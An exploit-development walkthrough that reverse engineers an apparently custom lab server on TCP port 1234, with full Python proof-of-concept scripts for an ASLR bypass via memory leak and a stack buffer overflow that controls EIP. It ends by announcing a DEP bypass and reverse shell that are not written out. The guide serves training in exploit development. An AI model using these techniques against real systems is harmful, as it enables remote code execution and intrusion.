Post

Introduction to ASLR and DEP Bypass PoC

Building a functional exploit for a custom application. This walkthrough covers how to create a functional exploit with a PoC to bypass ASLR using info leak and DEP using ROP.

Introduction to ASLR and DEP Bypass PoC

Getting Started

In this walkthrough, we will reverse engineer a basic application from start to finish with two main objectives. The first goal is to discover a logic/information leak vulnerability we can use to bypass Address Space Layout Randomization (ASLR), then we will discover a buffer/stack overflow vulnerability to develop an exploit to bypass Data Execution Prevention (DEP). It’s less about the complexity of the application and more about the process and methodology used. In my experience, most exploits that bypass both ASLR and DEP is a two stage process, the first stage is bypassing ASLR, which requires sending a specially crafted buffer to trigger the information leak, which will disclose an address from within the current process; basically a valid address. It’s very important to ensure this process doesn’t crash the application, we will also have to trigger another function or networking API to return that address to the attacking machine. From this address, we will derive the base address, which the ROP chain to bypass DEP depends on.

Discovering Application Port

TCPView is a Windows program that will show us detailed listings of all TCP and UDP endpoints on the development machine, including the local and remote addresses and state of TCP connections. The reason for this is to conduct an initial analysis of network traffic, with the goal of discovering what port(s) the application we are about to reverse engineer listens on. With that said, open TCPView on the development machine and you should see something similar to this:

TCP View

From this insight we can deduce the application is listening on TCP port 1234.

Attaching the process to WinDbg


Narly Extention

From the image above we can confirm the application has the following mitigations enabled:

  • SafeSEH
  • GS
  • ALSR
  • DEP

For the purpose of this exploit development, we will only be bypassing ASLR and DEP because the others should not affect the main objective in anyway. This is due to the type of vulnerability we are exploiting in this application. GS (Buffer Security Check) and SafeSEH (Safe Structured Exception Handling) don’t apply; I mean we don’t know yet until we discover the vulnerability lol. The type of vulnerability discovered will determine which migitations apply.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
************* Path validation summary **************
Response                         Time (ms)     Location
Deferred                                       srv*c:\symbols
Symbol search path is: srv*c:\symbols
Executable search path is:
ModLoad: 2f250000 2f270000   C:\Tools\aslr\CustomSvr01.exe
ModLoad: 777b0000 77940000   C:\Windows\SYSTEM32\ntdll.dll
ModLoad: 77710000 777a5000   C:\Windows\System32\KERNEL32.DLL
ModLoad: 74540000 74718000   C:\Windows\System32\KERNELBASE.dll
ModLoad: 72b20000 72bba000   C:\Windows\SYSTEM32\apphelp.dll
ModLoad: 75260000 753cf000   C:\Windows\System32\USER32.dll
ModLoad: 74780000 7479a000   C:\Windows\System32\win32u.dll
ModLoad: 75e70000 75e92000   C:\Windows\System32\GDI32.dll
ModLoad: 747a0000 74902000   C:\Windows\System32\gdi32full.dll
ModLoad: 742a0000 7431c000   C:\Windows\System32\msvcp_win.dll
ModLoad: 74f70000 75087000   C:\Windows\System32\ucrtbase.dll
ModLoad: 757f0000 75868000   C:\Windows\System32\ADVAPI32.dll
ModLoad: 75f00000 75fbd000   C:\Windows\System32\msvcrt.dll
ModLoad: 758f0000 75933000   C:\Windows\System32\sechost.dll
ModLoad: 75120000 751e7000   C:\Windows\System32\RPCRT4.dll
ModLoad: 75880000 758e6000   C:\Windows\System32\WS2_32.dll
ModLoad: 776e0000 77706000   C:\Windows\System32\IMM32.DLL
ModLoad: 75540000 75786000   C:\Windows\System32\combase.dll
ModLoad: 74720000 74777000   C:\Windows\System32\bcryptPrimitives.dll
ModLoad: 73b90000 73be8000   C:\Windows\system32\mswsock.dll
ModLoad: 66910000 66921000   C:\Windows\system32\napinsp.dll
ModLoad: 666a0000 666b6000   C:\Windows\system32\pnrpnsp.dll
ModLoad: 716b0000 716c3000   C:\Windows\system32\NLAapi.dll
ModLoad: 6df80000 6df8c000   C:\Windows\System32\winrnr.dll
ModLoad: 739b0000 73a44000   C:\Windows\SYSTEM32\DNSAPI.dll
ModLoad: 75e60000 75e67000   C:\Windows\System32\NSI.dll
ModLoad: 73980000 739b0000   C:\Windows\SYSTEM32\IPHLPAPI.DLL
ModLoad: 6eb40000 6eb8e000   C:\Windows\System32\fwpuclnt.dll
ModLoad: 73df0000 73e0b000   C:\Windows\SYSTEM32\bcrypt.dll
ModLoad: 6d130000 6d138000   C:\Windows\System32\rasadhlp.dll
(7a0.1094): Break instruction exception - code 80000003 (first chance)
eax=006a4000 ebx=00000000 ecx=77879bc0 edx=77879bc0 esi=77879bc0 edi=77879bc0
eip=77841430 esp=0214feec ebp=0214ff18 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
ntdll!DbgBreakPoint:
77841430 cc              int     3

We can also see all the different modules that are loaded with this application. There’s no included DLL that comes with the application, let’s take note of this for now because this information will be useful when it comes time to bypass DEP.

Initial PoC


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import socket
import sys
from struct import pack

buf  = bytearray([0x41] * 100)

def main():
    if len(sys.argv) != 2:
        print("Usage: %s <ip_address>\n" % (sys.argv[0]))
        sys.exit(1)

    server = sys.argv[1]
    port = 1234

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    s.connect((server, port))
    s.send(buf)

    s.close()
    print("[+] Packet sent")
    sys.exit(0)

if __name__ == "__main__":
    main()

Based on the fact that this application is listening on TCP port 1234, we should be able to send some bytes over the wire to that port to see what happens, this should help out with the next stage in the reverse engineering (RE) process. We need to set a breakpoint on the Win32 recv API located in Wsock32.dll V2, this will allow us to begin the process of tracing the usage of the buffer in the application by starting with the API that receives the buffer from the network socket, and what happens to it after.

Win32 Recv API Hooking

We will set a breakpoint on the API to intercept the buffer we send so we can trace the system interaction with it and how it might be vulnerable.

1
2
windbg > bp ws2_32!recv
windbg > g
1
2
3
4
77301430 cc              int     3
0:001> bp ws2_32!recv
0:001> bl
     0 e Disable Clear  7720e250     0001 (0001)  0:**** WS2_32!recv

We should see something like the one above, this shows the debugger was able to resolve that symbol (ws2_32!recv), which is good for the RE process. Resume the execution flow and resend the buffer.

1
2
3
4
5
6
7
Breakpoint 0 hit
*** WARNING: Unable to verify checksum for C:\Tools\aslr\CustomSvr01.exe
eax=00cf9bd4 ebx=0000007c ecx=00000014 edx=00000134 esi=0000007c edi=00000134
eip=7588e250 esp=00cf9bb4 ebp=00cffbe0 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
WS2_32!recv:
7588e250 8bff            mov     edi,edi

The output above shows the breakpoint we set for the Win32 API symbol was triggered. The next step is synchronizing WinDbg and IDA Pro/Free so we can do both static and dynamic analysis. Lets’s do the following before switching to IDA.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Breakpoint 0 hit
*** WARNING: Unable to verify checksum for C:\Tools\aslr\CustomSvr01.exe
eax=00cf9bd4 ebx=0000007c ecx=00000014 edx=00000134 esi=0000007c edi=00000134
eip=7588e250 esp=00cf9bb4 ebp=00cffbe0 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
WS2_32!recv:
7588e250 8bff            mov     edi,edi
0:000> pt
eax=00000064 ebx=0000007c ecx=09f5b090 edx=77841670 esi=0000007c edi=00000134
eip=7588e3dd esp=00cf9bb4 ebp=00cffbe0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
WS2_32!recv+0x18d:
7588e3dd c21000          ret     10h
0:000> p
eax=00000064 ebx=0000007c ecx=09f5b090 edx=77841670 esi=0000007c edi=00000134
eip=2f2510c0 esp=00cf9bc8 ebp=00cffbe0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
CustomSvr01+0x10c0:
2f2510c0 83f8ff          cmp     eax,0FFFFFFFFh

We need to step out of the recv function/API call into the calling function which is somewhere in the calling process, this is what we are trying to reverse engineer. The goal is to keep things as simple as possible. Things can get overwhelming and complicated real quick without a structured approach, this is why we must only focus on the things that we can control, which will be functions in the application that interact directly/indirectly with the buffer we send over the network to the running application. We can’t directly rewrite any part of the application, but we can structure the buffer in a way that allows us to accomplish our objective(s) on the target. Now, let’s switch over to IDA.

Synchronizing WinDbg and IDA Pro

One thing to note is because ASLR is enabled, we have to rebase the application in IDA, this will make it easier to debug the application. Here’s how to get the module base address:

Module Base Address

Now navigate to IDA and click on Edit in the top menu area -> then Segments -> Rebase program:

Rebase IDA Program

Next, copy and paste the address that we returned to after existing the recv API call into IDA for synchronization. You can achieve this by clicking the letter G from IDA and a pop-up box should show up for you to type the address that you want to jump to, like the one above:

Synchronizing IDA With the Jump Shortcut

From this point both IDA and WinDbg should be synchronized, just remember to keep them that way because it’s very easy to start moving a little too fast in WinDbg with the dynamic analysis portion of reverse engineering. With that said we should be in this block based on the execution of the jump shortcut that we did above:

1
2
3
4
mov     ecx, [ebp+var_600C]
xor     ecx, 33445566h
cmp     ecx, eax
jnz     loc_2F251210

The instructions above are in the function that called the recv API, which is where the execution flow returns to after calling the API. The buffer we sent should be on the stack, and we can see this by running dd esp L20. If you pay close attention to the value in the EAX register, you will also notice that it’s the hex equivalent of 100, which is the total number of bytes we sent. You should spend some time understanding the stack and its content, it’s assumed that you have some background in exploit development and working with WinDbg, if you don’t, this might not be the most ideal introduction. The focus here is on reverse engineering to bypass both ASLR and DEP, everything else is beyond the scope of this walkthrough.

WinDbg Stack After Breakpoint

ASLR Bypass

As of this writing, I am using a MacBook, so it’s a little difficult trying to copy and paste from my Windows development environment to VS Code; mostly due to user error lol. I have already written the PoC to bypass ASLR, I will explain how it works and then move on to reverse engineering to find a buffer overflow vulnerability, then we will move right into bypassing DEP. Which should conclude this exploit development. I will be doing another walkthrough to fill in the gaps, specifically for ASLR bypass from start to finish. I wanted to copy the values in my WinDbg session into this writeup, but it wasn’t straightforward on my MacBook. With that said, let’s proceed.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
#!/usr/bin/python
# Mitigations -----> ALSR/DEP
####################################################################################
# ---------------------------- Import Python Modules ----------------------------- #
import socket
import sys
import struct
from struct import pack
####################################################################################
# -------------------- Colors Definition (ANSI Escape Sequence) ------------------ #
RED    = '\033[31m'
WHITE  = '\033[37m'
GREEN  = '\033[32m'
BLUE   = '\033[34m'
YELLOW = '\033[33m'
RESET  = '\033[0m'
# -------------------------- Standard Developer Banner --------------------------- #
# --------------------- Console art pattern create function ---------------------- #
# Console art pattern create function 
def print_pattern():
    pattern = [
        r"   ________   _____  _____  _________ __         .__ __                ",
        r"   \_____  \_/ ____\/ ____\/   _____//  |________|__|  | __ ____       ",
        r"   /   |   \   __\\   __\ \_____  \\   __\_  __ \  |  |/ // __ \       ",
        r"  /    |    \  |   |  |   /        \|  |  |  | \/  |    <\  ___/       ",
        r"  \_______  /__|   |__|  /_______  /|__|  |__|  |__|__|_ \\___  >      ",
        r"          \/                     \/                     \/    \/       ",
        r"                                                                       ",
    ]
    for line in pattern:
        print(line)
# ---------------------------- Logic leak exploit buffer ------------------------- #

asl  = pack("<L", 0x3344555e)                                                      # jump to sub_2FFD1210
asl += pack("<L", 0x90909090)                                                      # 0x90909090 -> offset
asl += pack("<L", 0x308)                                                           # jump to sub_2FFD1198
asl += pack("<L", 0x90909090)                                                      # 0x90909090 -> offset
asl += pack("<L", 0x123)                                                           # GetUserName buff size
asl += pack("<L", 0x41414141)                                                      # memmove dest buffer
asl += pack("<L", 0x41414141)                                                      # memmove dest buffer
asl += pack("<L", 0x41414141)                                                      # memmove dest buffer
asl += pack("<L", 0x41414141)                                                      # memmove dest buffer
asl += pack("<L", 0x41414141)                                                      # memmove dest buffer
asl += pack("<L", 0x41414141)                                                      # memmove dest buffer
asl += pack("<L", 0x41414141)                                                      # memmove dest buffer
asl += pack("<L", 0x41414141)                                                      # memmove dest buffer
asl += pack("<L", 0x41414141)                                                      # memmove dest buffer

# ------------------ Convert the returned hex values into DWORDs ----------------- #
def is_valid_hex(byte):
    try:
        int.from_bytes([byte], byteorder='big')                                    # Check if it's a valid byte
        return True
    except ValueError:
        return False

def bytes_to_dword(byte_sequence):
# -------------------- Combine the four bytes into a single DWORD
    return struct.unpack('<I', byte_sequence)[0]

def process_data(data):
    dwords = []
    for i in range(0, len(data), 4):
# ------------------------ Get the next four bytes
        byte_seq = data[i:i+4]
        if len(byte_seq) == 4 and all(is_valid_hex(b) for b in byte_seq):
            dword = bytes_to_dword(byte_seq)
            dwords.append(dword)
    return dwords
# --------------- Check if the DWORDs end with a valid offset
def search_dwords(dwords, search_terms):
    found = []
    for term in search_terms:
        for dword in dwords:
            if hex(dword)[2:].zfill(8).endswith(term):
                found.append(dword)
    return found

# ----------------------------- Define send buffer ------------------------------ #
def send_buffer(server, port, buffer, recv=False):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        s.connect((server, port))
        s.send(buffer)                                                            # Send the buffer

        if recv:
            rdata = s.recv(1024)                                                  # Receive data if requested
            return rdata
    finally:
        s.close()
# -------------------------- Main execution flow logic ------------------------- #
def main():
    server  = sys.argv[1]
    port    = 1234
    size    = 1600                                                                # Final Payload Size
    nOffset = 780                                                                 # Buffer EIP Offset
    padSize = 160                                                                 # Padding Size
    bString = "Unavailable"                                                       # ASLR error string
    bOffset = ['1e70', '5cda']                                                    # search offsets
    modBase = ""                                                                  # Module base address
                                                                                  # Bad characters: \x00\x0A\x0D\x25\x26\x2B\x3D
                                                                                  # DEP bypass API: WriteProcessMemory()
                                                                                  # ASLR bypass: GetUserNameA
    try:
        if len(sys.argv) != 2:
            print("Incorrect number of arguments.")
            print("Usage: %s <ip_address>\n" % (sys.argv[0]))
            sys.exit(1)
# ----------------------------- Print Banner Art
        print("{}\n".format(BLUE))
        print_pattern()
        print("{}\n".format(WHITE))
        print(f"[+] Exploit details:\n[+] Target IP: {sys.argv[1]} \n[+] Target Port: {port}")
# ----------------------------- Begin ASLR Bypass
        response = send_buffer(server, port, asl, True)
        nDWORDs  = process_data(response)
        fDWORDs  = search_dwords(nDWORDs, bOffset)
        if fDWORDs:
            modBase = hex(fDWORDs[0])[2:].zfill(8)[:4]                            # Get the first 4 hex digits
            print(f"[+] ASLR Bypass: Memory Leak\n[+] Base Address: {modBase}")
        else:
            print(f"[+] ASLR Bypass: Memory Leak\n[+] Base Address: {bString}")
    except socket.error:
        print("{}[-] Could not connect to {}.\n".format(BLUE, sys.argv[1]))

if __name__ == "__main__":
 	main()

From the previous section, this was the block the program returned into after the recv API call.

1
2
3
4
mov     ecx, [ebp+var_600C]
xor     ecx, 33445566h
cmp     ecx, eax
jnz     loc_2F251210

In this block, there is a comparison on the value in the ECX register and EAX register. At this point EAX contains the length of the buffer sent, so to take the next jump, we need to make sure the value that’s in ECX is the same as the one in EAX. The value in the ECX register during the xor operation is the first DWORD in the buffer we sent, so we do control that. The immediate question becomes what value when xor‘ed with 33445566h equals the value in EAX.

1
asl  = pack("<L", 0x3344555e)                                                      # jump to sub_2FFD1210

The length of the buffer is 56 based on the PoC above, the value in EAX will be 0x00000056 and the operation xor 0x3344555e, 0x33445566h will produce the same value. Which means the cmp operation will be true, and the jump instruction will be taken. It should bring us to the block below.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
mov     esi, [ebp+var_6004]
lea     ebx, [eax-10h]
push    4               ; flProtect
push    3000h           ; flAllocationType
push    ebx             ; dwSize
push    0               ; lpAddress
call    ds:VirtualAlloc
mov     edi, eax
lea     eax, [ebp+Src]
push    ebx             ; Size
push    eax             ; Src
push    edi             ; void *
call    _memmove
add     esp, 0Ch
cmp     esi, 304h
jb      loc_2F2511E4

There’s a lot going on in this function but there’s only so much we control with the buffer. Memory is being allocated using the VirtualAlloc API, the subroutine starts off by preparing the arguments for VirtualAlloc before calling the API. The size of the memory being allocated is something we control indirectly as well, there’s a memmove operation immediately after the VirtualAlloc function. Whether there’s a possibility for a buffer overflow here, it’s for the next section in this walkthrough, where we will RE for a buffer overflow. Right now, the focus is on bypassing ASLR.

1
asl += pack("<L", 0x308)                                                           # jump to sub_2FFD1198

The main focus here is making sure we don’t take this jump. The only way to make this happen is if the value in the ESI register is greater than 304h. The value above is what gets loaded into ESI before the comparison. Which means we won’t take the jump, which leads the execution flow into the next block below.

1
jnz     short loc_2F251129

This block is very simple, it will jump if not zero. Because the zero flag wasn’t set during the comparison from earlier, the jump will be taken. This brings us to the next block below.

1
2
3
loc_2F251129:
cmp     esi, 305h
jnz     short loc_2F251162

Same as before, this jump will also be taken because the value in ESI is asl += pack("<L", 0x308) which is greater than 305h and will allow us to jump to sub_2FFD1198. Sub-routine 2FFD1198 is the block below.

1
2
3
loc_2FFD1198:
cmp     esi, 308h
jnz     short loc_2FFD11E4

From this block, we are not going to take any more jumps because the comparison should return zero, and as a result we will end up moving to the block below it based on the execution flow in IDA.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
mov     esi, [edi]
push    esi             ; Size
push    0               ; Val
push    edi             ; void *
call    _memset
add     esp, 0Ch
mov     [ebp+nSize], 0
lea     eax, [ebp+nSize]
push    eax             ; pcbBuffer
lea     eax, [ebp+Buffer]
push    eax             ; lpBuffer
call    ds:GetUserNameA
push    esi             ; Size
lea     eax, [ebp+Buffer]
push    eax             ; Src

In the block or sub-routine above, things start to get a little more interesting. We are setting 0x123 bytes of memory and calling the GetUserNameA API to retreive the current user name which gets loaded into the memory that we cleaned or zeroed out earlier with memset. Once that is done, we then move to the next block.

1
2
3
4
5
6
7
8
9
loc_2FFD11CE:           ; void *
push    edi
call    _memmove
add     esp, 0Ch
push    0               ; flags
push    ebx             ; len
push    edi             ; buf
push    [ebp+s]         ; s
call    ds:send

The block with GetUserNameA API just preceded the block above, which is still technically the same function, but it doesn’t by itself cause the memory leak. We have previously allocated 123 bytes, which should overflow if the user name string is longer than the allocated size into the initial memory we allocated with VirtualAlloc, but the interesting part is the allocated space on the stack doesn’t contain null bytes. It contains adjacent stack addresses or DWORDs, and since the send API is sending everything in that location based on the length passed to memmove, we end up with a stream of data that contains both the user name and some memory leaked stack addresses. After running the application multiple times, I realized that only the base address was changing, so I wrote some python functions to parse through the data returned and get the base address based on the constant half of the address in the buffer received. Below is the final result. I said ealier that GetUserNameA should overflow if the user name string is longer than the allocated size into the initial memory we allocated with VirtualAlloc, but this shouldn’t be the case because the API does have some safety checks built-in. The true vulnerability is the call to memmove, which could read adjacent stack data including addresses if the length specified permits it. In this case, it does.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(osee㉿offstrike)-[~/exploit]
└─$ python3 csrv01.py 192.168.111.10


   ________   _____  _____  _________ __         .__ __                
   \_____  \_/ ____\/ ____\/   _____//  |________|__|  | __ ____       
   /   |   \   __\\   __\ \_____  \\   __\_  __ \  |  |/ // __ \       
  /    |    \  |   |  |   /        \|  |  |  | \/  |    <\  ___/       
  \_______  /__|   |__|  /_______  /|__|  |__|  |__|__|_ \\___  >      
          \/                     \/                     \/    \/       
                                                                       


[+] Exploit details
[+] Target IP: 192.168.111.10 
[+] Target Port: 1234
[+] ASLR Bypass: Memory Leak
[+] Base Address: 2f5d

Finding Buffer Overflow

We are only half way there… this section should be short because we have a very good understanding of the established execution flow and the different paths and jumps. Most importantly, I am back on a Windows machine lol. The secondary focus here is familiarity with RE using IDA and WinDbg, but I am also curious about how a tool like AFL++ can be used for fuzzing, that might speed things along for sure. In my opinion, I think BooFuzz might be perfect for this situation because we can use it to visualize code/block coverage, then use that information to modify the fuzzer to test specific execution paths by updating the grammar. I think that might be more appropriate for a much bigger application, so we will stick to the manual process for now, but you can try those methods if you want.

As stated earlier, this part is easy and straightforward, if you understood the first part of this walkthrough. If not, don’t sweat it because I will try my best to simplify it for you. We will start off by examining the block below:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
mov     [ebp+s], ebx
mov     [ebp+var_C], edi
mov     eax, [ebp+s]
push    eax
lea     eax, [ebp+var_100C]
push    eax
mov     eax, [ebp+var_C]
push    eax
call    sub_2F901050
lea     eax, [ebp+nSize]
mov     [ebp+nSize], 0
push    eax             ; nSize
push    edi             ; lpBuffer
call    ds:GetComputerNameA
jmp     loc_2F9011E4

The goal was to try and call GetComputerNameA, which isn’t a vulnerable function, but I’d tried every logic path, so this was the last one to test. The other paths were really good with bounds checking, especially during memmove operations. In the block above, we got a buffer overflow on the stack because the return address in the epilogue of the call to sub_2F901050 was overwritten by the buffer we sent. Sometimes the developer might choose to implement a custom version of a function like memmove or strcpy, and that is exactly what they have done here.

1
void sub_2F901050(void* source, void* destination, size_t count);

Above is a prototype for the function based on the previous block. If we step into sub_2F901050 in IDA, we should see what looks like the function procedural prologue, then subsequently a byte copy operation. This is quite obvious just by looking at the assembly instructions. We can use Gemini or another LLM to try and recreate the C/C++ code for the function based on the low-level instructions, and below is a representational pseudocode:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
void sub_2F901050(void* source, void* destination, size_t count) {

    char* src_ptr = (char*)source;
    char* dst_ptr = (char*)destination;
    
    int loop_counter = -1;

    do {

        loop_counter++;
        char byte_to_copy = src_ptr[0];
        dst_ptr[0] = byte_to_copy;

        src_ptr++;
        dst_ptr++;

    } while (loop_counter < count);
}

With the code above, we should have a pretty good idea of what’s going on. Let’s take a look at the PoC and modify it to trigger a buffer overflow. We will start off with a new Python script, this allows us to test this without having to change anything in the PoC we have for bypassing ASLR.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import socket
import sys
from struct import pack

buf   = pack("<L", 0x33444776)
buf  += pack("<L", 0x90909090)    
buf  += pack("<L", 0x00000305)                                           
buf  += bytearray([0x41] * 4612)

def main():
    if len(sys.argv) != 2:
        print("[+] Usage: %s <ip_address>\n" % (sys.argv[0]))
        sys.exit(1)

    server = sys.argv[1]
    port = 1234

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    s.connect((server, port))
    s.send(buf)

    s.close()
    print("[+] Packet sent")
    sys.exit(0)

if __name__ == "__main__":
    main()

Like before, we are manipulating the buffer to take specific execution paths. In this case, we want to make sure the jump below is not taken, which should take us to the block that calls the current function of interest. In order for that to happen, we need to make sure ESI is 305h during the comparison operation, doing so will set the Zero flag to 1, which would make the jump intruction take the zero branch.

1
2
3
loc_30101129:
cmp     esi, 305h
jnz     short loc_30101162
1
2
3
4
5
6
7
8
9
10
11
12
Breakpoint 1 hit
eax=00f30000 ebx=00001200 ecx=00000000 edx=00000000 esi=00000305 edi=00f30000
eip=2f7d1129 esp=00ef97e0 ebp=00eff7f8 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
CustomSvr01+0x1129:
2f7d1129 81fe05030000    cmp     esi,305h
0:000> p
eax=00f30000 ebx=00001200 ecx=00000000 edx=00000000 esi=00000305 edi=00f30000
eip=2f7d112f esp=00ef97e0 ebp=00eff7f8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
CustomSvr01+0x112f:
2f7d112f 7531            jne     CustomSvr01+0x1162 (2f7d1162)           [br=0]

The program appears to be using the _cdecl calling convention because in the function sub_2F901050, the function establishes a standard stack frame using push ebp and mov ebp, esp, accesses its arguments using positive offsets relative to the base pointer (ebp) and crucially, concludes with a simple retn instruction. This plain retn signifies that the responsibility for cleaning up and removing the function’s arguments from the stack belongs entirely to the code that initially called the function, which is the defining characteristic of the _cdecl calling convention. Now, let’s take a look at those arguments that are being pushed to the stack.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
eax=00001200 ebx=00001200 ecx=00000000 edx=00000000 esi=00000305 edi=00f30000
eip=2f7d113a esp=00ef97e0 ebp=00eff7f8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
CustomSvr01+0x113a:
2f7d113a 50              push    eax
...
0:000> p
eax=00efe7ec ebx=00001200 ecx=00000000 edx=00000000 esi=00000305 edi=00f30000
eip=2f7d1141 esp=00ef97dc ebp=00eff7f8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
CustomSvr01+0x1141:
2f7d1141 50              push    eax
...
0:000> p
eax=00f30000 ebx=00001200 ecx=00000000 edx=00000000 esi=00000305 edi=00f30000
eip=2f7d1145 esp=00ef97d8 ebp=00eff7f8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
CustomSvr01+0x1145:
2f7d1145 50              push    eax

In the above snippet, we are pushing three arguments on the stack, the first argument being pushed on the stack is count, then destination and lastly, the source. Let’s take a look at each one for a moment. We can convert the value in the EAX register before the push instruction.

1
2
0:000> ? 00001200
Evaluate expression: 4608 = 00001200

We can see the value being pushed on the stack for the count argument is 4608 bytes, which means we are going to copy 4608 bytes to the destination address, and below is what the destination address points to on the stack. If we look closely, we can see that not everything in that location is null, so we run the risk of overwriting some important values/addresses.

1
2
3
4
5
6
7
0:000> dd 00efe7ec L16
00efe7ec  00000017 00000000 00000098 77b6fa3b
00efe7fc  00060000 00fb00c0 06000006 00fd1220
00efe80c  fffffffd 00fb0000 00000004 77d50948
00efe81c  229a3cc5 00fd59a8 00fb0000 00efe9ac
00efe82c  00fd1218 0100010a 00000000 00000010
00efe83c  00000000 00000000

Lastly, let’s take a look at what the source address points to on the stack. It would be perfect if we can control the source content, because we currently control the count argument size, and therefore, how many bytes we can copy. Let’s dive in.

1
2
3
0:000> dd eax L4
00f30000  41414141 41414141 41414141 41414141
...

Finally, we will call sub_2F901050 when all the arguments have been aligned and placed on the stack, which we can observe in the snippet below. Next, we will resume the execution flow of the program, which is currently paused and we should get a buffer overflow because the destination buffer is too small for the number of bytes being copied from the source. This will result in addresses on the stack being overwritten, and one of which is the return address from the current function stackframe to the next instruction in the caller stackframe.

1
2
3
4
5
6
7
8
eax=00f30000 ebx=00001200 ecx=00000000 edx=00000000 esi=00000305 edi=00f30000
eip=2f7d1146 esp=00ef97d4 ebp=00eff7f8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
CustomSvr01+0x1146:
2f7d1146 e805ffffff      call    CustomSvr01+0x1050 (2f7d1050)
0:000> dd esp L8
00ef97d4  00f30000 00efe7ec 00001200 00000118
00ef97e4  000001fc 77ad69c0 33444776 90909090
1
2
3
4
5
6
7
8
0:000> g
(444.1210): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=41414141 ebx=00001200 ecx=233acad4 edx=00000000 esi=00efe7ec edi=00f30000
eip=41414141 esp=00eff800 ebp=41414141 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010212
41414141 ??              ???

After resuming the program, the application crashed with an access violation and the EIP register is overwritten with our contorlled buffer. We have now discovered a basic buffer overflow caused by a custom copy function, and like most copy functions, there was no bounds checking. The developer failed to ensure the amount of data being copied was just right for the destination buffer, and as a result of this, we are able to overflow adjacent addresses on the stack with our buffer. When the return address is overwritten, the EIP points to an invalid address, which caused an access violation. This behavior is well expected, we just need to align the stack with the controlled buffer by figuring out the exact offset to the value that ends up in the EIP register on the stack, then we will start building the ROP chain to bypass DEP.

1
2
3
┌──(offstrike㉿OffStrike-CD01)-[/dev]
└─$ msf-pattern_offset -l 4612 -q 46326846
[*] Exact match at offset 4116
1
2
3
4
5
6
7
8
...
buf   = pack("<L", 0x33444776)
buf  += pack("<L", 0x90909090)    
buf  += pack("<L", 0x00000305)                                           
buf  += bytearray([0x41] * 4116)             # Offset
buf  += pack("<L", 0x44454144)               # EIP -> DAED
buf  += bytearray([0x41] * 492)
...
1
2
3
4
5
6
7
8
9
10
11
0:005> g
(1f10.a34): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=41414141 ebx=00001200 ecx=e44003e1 edx=00000000 esi=0055eac4 edi=005d0000
eip=44454144 esp=0055fad8 ebp=41414141 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010212
44454144 ??              ???
0:000> db esp-8
0055fad0  41 41 41 41 44 41 45 44-41 41 41 41 41 41 41 41  AAAADAEDAAAAAAAA
...

Bypassing Data Execution Prevention (DEP)

This will be the last and longest section in this walkthrough. At this point, we have a way to bypass ASLR and have discovered a stack-overflow vulnerability that we will use to execute a shellcode on the target. The only thing standing between us and getting a reverse-shell on the target is DEP. I did another write-up with immense concentration on just that. There are lots of ways to bypass DEP, and today we will be using VirtualAlloc to create a new and executable memory on the stack, we will copy the shellcode to it, then proceed to executing it. This will be slightly different than what we did with WriteProcessMemory. Best practice would be using rp-win-x86.exe to generate rop gadgets, then manually build the rop chain, which is honestly better than using an automated tool like ropper or mona.py.

Info: Disabling ASLR via Windows Exploit Guard will make this section a lot easier, if not, you will have to prepend the base address returned by the ASLR bypass. We will disable ASLR and prepend the ASLR bypass which returns the base address after we have a functional ROP chain to bypass DEP.

